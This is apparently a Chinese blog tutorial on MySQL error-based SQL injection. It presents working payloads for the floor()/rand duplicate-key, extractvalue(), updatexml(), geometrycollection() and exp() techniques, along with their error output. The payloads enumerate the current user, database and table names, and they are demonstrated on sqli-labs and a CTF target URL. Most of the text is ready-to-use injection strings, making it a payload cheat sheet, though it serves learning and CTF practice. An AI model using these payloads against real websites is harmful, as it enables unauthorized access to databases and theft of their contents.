SQL注入之报错注入
July 12, 2018 WEB安全 访问: 21 次
报错注入
报错行注入的前提是在页面上必须得有错误的信息才行,否则为空谈。
注入时需要用到的关键词:
@@basedir -> 返回出mysql的路径
@@version -> 返回mysql的版本
user() -> 返回当前的用户名
database() -> 返回当前使用的库名
and -> &&
or -> ||
floor() 方式
floor()该函数是向下取整的;
利用方式
主键重复:
其实报错注入就是套用一个万能的公式,
select host from user where user = 'root' and (select 1 from (select count(*),concat([执行的sql语句]],floor(rand(0)*2))x from information_schema.tables group by x)a);
以sqli-labs为例子
1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
页面回显
发现user()已经在页面中显示出来
Duplicate entry 'root@localhost1' for key 'group_key'
接下来就继续爆库,爆表等等……
1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=(select database()) limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
结果
Duplicate entry 'referers1' for key 'group_key'
之后修改limit后的值就可以一个一个的爆出来表名,
==报错注入不能使用group_concat()这个函数==
extractvalue()方式:有两个参数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的
名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
concat()该函数是将字符串连接起来
利用方式:
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
payload:
id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));--+
页面回显:
XPATH syntax error: '~root@localhost~'
爆库:==这个可以用group_concat()函数==
id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),0x7e));--+
结果:
XPATH syntax error: '~emails,referers,uagents,users~'
mysql连接字符串函数
concat("1","a","1") -> 1a1
concat_ws('#',"a","b") -> a#b
group_concat()
updatexml()方式:有三个参数
这个跟extractvalue()有点类似
payload
id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1);--+
页面回显
XPATH syntax error: '~root@localhost~'
然后一步一步的往下进行
几何函数:
geometrycollection() 方式
payload:
id=1 and geometrycollection((select * from(select * from(select user())a)b));
这种方法在sqli-lab 2中不能行,
在BUGKU中报错注入中能行
payload:
http://103.238.227.13:10088/index.php?id=1%0Aand%0Ageometrycollection((select%0a*%0afrom(select%0a*%0afrom(select%0auser())a)b))
结果:
Illegal non geometric '(select `b`.`user()` from (select 'sql4@localhost' AS `user()` from dual) `b`)' value found during parsing
其他的
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
用法和geometrycollection()基本上一样
exp()方式->这个函数为以e为底的对数函数
值类型超出范围导致报错,在MySQL版本大于等于5.5.5的的时候才能用户
payload:
id=1 and exp(~(select * from(select user())a));